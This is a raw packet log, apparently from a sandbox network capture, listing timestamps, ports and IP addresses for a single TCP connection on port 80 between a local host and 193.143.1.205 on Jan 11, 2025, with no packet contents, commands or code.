Jan 11, 2025 05:15:13.779422045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.779469013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.779474974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.779510021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.779558897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.779577017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.779613018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.779647112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.779659033 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.779678106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.779719114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.779731989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.779768944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.779802084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.779813051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.779855013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.779892921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.779895067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.779946089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.779979944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780013084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.780018091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780050039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780054092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.780086040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780119896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780124903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.780154943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780195951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.780401945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780436993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780472994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780483007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.780512094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780545950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780555964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.780580044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780616045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780617952 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.780649900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780683994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780688047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.780719995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780756950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780756950 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.780841112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780879021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.780891895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780926943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780961037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.780982971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.780996084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781030893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781039000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.781066895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781112909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.781120062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781155109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781188965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781205893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.781224966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781265974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781266928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.781321049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781362057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.781371117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781407118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781440973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781445026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.781474113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781508923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781517029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.781543016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781586885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781591892 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.781620979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781657934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.781661987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.782102108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.782143116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.782145023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.782196999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.782229900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.782263994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.782264948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.782299042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.782309055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.782335043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.782346964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.782366991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.782380104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.782403946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.782433987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.782447100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.785881996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.807172060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.807847023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.807889938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.807915926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.807948112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.807988882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.807996035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.808021069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808064938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.808079004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808132887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808176994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.808187962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808240891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808271885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808281898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.808305025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808340073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.808340073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808393955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808444977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.808470011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808521032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808557034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808561087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.808610916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808651924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808660030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.808686972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808725119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808729887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.808760881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808796883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808804989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.808831930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808867931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.808870077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.809587002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.809633017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.809647083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.809676886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.809714079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.809720993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.809751034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.809787035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.809796095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.810709000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.837938070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.837975025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.837994099 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.838012934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.838047981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.838056087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.838083982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.838119030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.838129044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.838156939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.838198900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.839984894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.840020895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.840066910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.840075016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.840111017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.840146065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.840162039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.840179920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.840215921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.840228081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.868388891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.868443966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.868499041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.868531942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.868567944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.868586063 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.868586063 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.868602991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.868614912 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.868658066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.868691921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.868707895 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.868731022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.868779898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.868791103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.868815899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.868849993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.868860960 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.868889093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.868922949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.868946075 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.868958950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.869003057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.870063066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870098114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870134115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870151043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.870167971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870208979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.870223045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870256901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870300055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.870326042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870359898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870393991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870400906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.870445013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870490074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.870498896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870533943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870567083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870587111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.870601892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870636940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870647907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.870671988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870721102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.870733023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870767117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870804071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870822906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.870840073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870872974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870884895 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.870925903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870965004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.870969057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.871016026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.871049881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.871056080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.871084929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.871119022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.871134043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.871153116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.871187925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.871196985 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.871222973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.871258020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.871267080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.871292114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.871331930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.871347904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.871381998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.871417999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.871422052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.873938084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.873977900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.873991013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.874032021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874078035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.874087095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874120951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874156952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874166965 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.874192953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874228954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874233007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.874264956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874300003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874316931 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.874339104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874375105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874378920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.874411106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874449015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874450922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.874479055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874521017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.874531031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874561071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874596119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874597073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.874630928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874676943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.874686003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874741077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874773979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874784946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.874808073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874841928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874852896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.874877930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874910116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874918938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.874944925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874980927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.874984980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.875019073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.875055075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.875087023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.879120111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.898566961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.898618937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.898622036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.898674011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.898720026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.898722887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.898777962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.898812056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.898825884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.898848057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.898876905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.898893118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.898931980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.898977041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.898986101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.899015903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.899061918 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.899066925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.899102926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.899136066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.899169922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.899204016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.899239063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.899271965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.899308920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.899358034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.899391890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.899425030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.899461985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.899491072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.899542093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.899542093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.899542093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.899542093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.928420067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.928474903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.928510904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.928545952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.928580999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.928615093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.928649902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.928668976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.928668976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.928668976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.928700924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.932559967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.932594061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.932627916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.932646990 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.932662964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.932698965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.932708979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.932735920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.932771921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.932780027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.932816029 CET	80	49710	193.143.1.205	192.168.2.6
